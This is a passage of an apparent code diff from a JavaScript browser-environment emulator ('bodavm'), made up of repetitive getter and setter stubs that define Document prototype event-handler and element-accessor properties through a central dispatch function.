bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onformdata", { + configurable: true, + enumerable: true, + get: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_get", arguments); + }, + set: function onformdata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onformdata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninput", { + configurable: true, + enumerable: true, + get: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_get", arguments); + }, + set: function oninput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oninvalid", { + configurable: true, + enumerable: true, + get: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_get", arguments); + }, + set: function oninvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oninvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeydown", { + configurable: true, + enumerable: true, + get: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_get", arguments); + }, + set: function onkeydown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeydown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeypress", { + configurable: true, + enumerable: true, + get: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_get", arguments); + }, + set: function onkeypress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeypress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onkeyup", { + configurable: true, + enumerable: true, + get: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_get", arguments); + }, + set: function onkeyup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onkeyup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadeddata", { + configurable: true, + enumerable: true, + get: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_get", arguments); + }, + set: function onloadeddata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadeddata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadedmetadata", { + configurable: true, + enumerable: true, + get: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_get", arguments); + }, + set: function onloadedmetadata() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadedmetadata_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousedown", { + configurable: true, + enumerable: true, + get: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_get", arguments); + }, + set: function onmousedown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousedown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseenter", { + configurable: true, + enumerable: true, + get: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_get", arguments); + }, + set: function onmouseenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseleave", { + configurable: true, + enumerable: true, + get: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_get", arguments); + }, + set: function onmouseleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousemove", { + configurable: true, + enumerable: true, + get: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_get", arguments); + }, + set: function onmousemove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousemove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseout", { + configurable: true, + enumerable: true, + get: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_get", arguments); + }, + set: function onmouseout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseover", { + configurable: true, + enumerable: true, + get: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_get", arguments); + }, + set: function onmouseover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmouseup", { + configurable: true, + enumerable: true, + get: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_get", arguments); + }, + set: function onmouseup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmouseup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onmousewheel", { + configurable: true, + enumerable: true, + get: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_get", arguments); + }, + set: function onmousewheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onmousewheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplay", { + configurable: true, + enumerable: true, + get: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_get", arguments); + }, + set: function onplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onplaying", { + configurable: true, + enumerable: true, + get: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_get", arguments); + }, + set: function onplaying() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onplaying_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onratechange", { + configurable: true, + enumerable: true, + get: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_get", arguments); + }, + set: function onratechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onratechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsecuritypolicyviolation", { + configurable: true, + enumerable: true, + get: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_get", arguments); + }, + set: function onsecuritypolicyviolation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsecuritypolicyviolation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeked", { + configurable: true, + enumerable: true, + get: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_get", arguments); + }, + set: function onseeked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onseeking", { + configurable: true, + enumerable: true, + get: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_get", arguments); + }, + set: function onseeking() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onseeking_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "childElementCount_get", arguments); + }, + set: 